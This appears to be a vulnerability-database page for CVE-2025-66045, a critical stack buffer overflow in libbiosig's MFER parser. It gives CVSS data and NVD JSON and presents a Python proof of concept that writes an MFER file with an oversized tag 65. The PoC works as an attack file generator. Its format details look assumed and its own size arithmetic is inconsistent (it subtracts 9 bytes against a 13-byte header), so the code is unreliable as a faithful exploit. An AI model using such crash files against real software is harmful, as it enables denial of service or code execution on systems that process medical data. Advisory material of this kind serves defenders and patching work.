Security Vulnerability Report
中文
CVE-2025-66045 CVSS 9.8 CRITICAL

CVE-2025-66045

Published: 2025-12-11 17:15:59
Last Modified: 2025-12-17 20:24:16

Description

Several stack-based buffer overflow vulnerabilities exists in the MFER parsing functionality of The Biosig Project libbiosig 3.9.1. A specially crafted MFER file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.When Tag is 65

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libbiosig_project:libbiosig:*:*:*:*:*:*:*:* - VULNERABLE
libbiosig < 3.9.1
libbiosig 3.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-66045 PoC - MFER File Stack Buffer Overflow # Generate malicious MFER file that triggers buffer overflow when Tag=65 import struct def create_mfer_poc(): # MFER file header header = b'MFER' # MFER magic number # MFER version version = struct.pack('<I', 1) # Create tag 65 with oversized data to trigger overflow tag = 65 # Specific tag that triggers vulnerability # Payload: oversized data that exceeds stack buffer size # Adjust size based on target buffer characteristics overflow_size = 1024 # May need adjustment for specific versions overflow_data = b'A' * overflow_size # Tag structure: tag_id(1 byte) + length(4 bytes) + data tag_header = struct.pack('<BI', tag, len(overflow_data)) # Construct malicious MFER file mfer_file = header + version + tag_header + overflow_data return mfer_file def save_poc(filename='CVE-2025-66045.mfer'): poc_data = create_mfer_poc() with open(filename, 'wb') as f: f.write(poc_data) print(f'PoC file created: {filename}') print(f'File size: {len(poc_data)} bytes') print(f'Overflow payload size: {len(poc_data) - 9} bytes') if __name__ == '__main__': save_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66045", "sourceIdentifier": "[email protected]", "published": "2025-12-11T17:15:58.553", "lastModified": "2025-12-17T20:24:15.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Several stack-based buffer overflow vulnerabilities exists in the MFER parsing functionality of The Biosig Project libbiosig 3.9.1. A specially crafted MFER file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.When Tag is 65"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libbiosig_project:libbiosig:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9.2", "matchCriteriaId": "2D3CD139-6F71-4B97-95A3-A52466FF6563"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}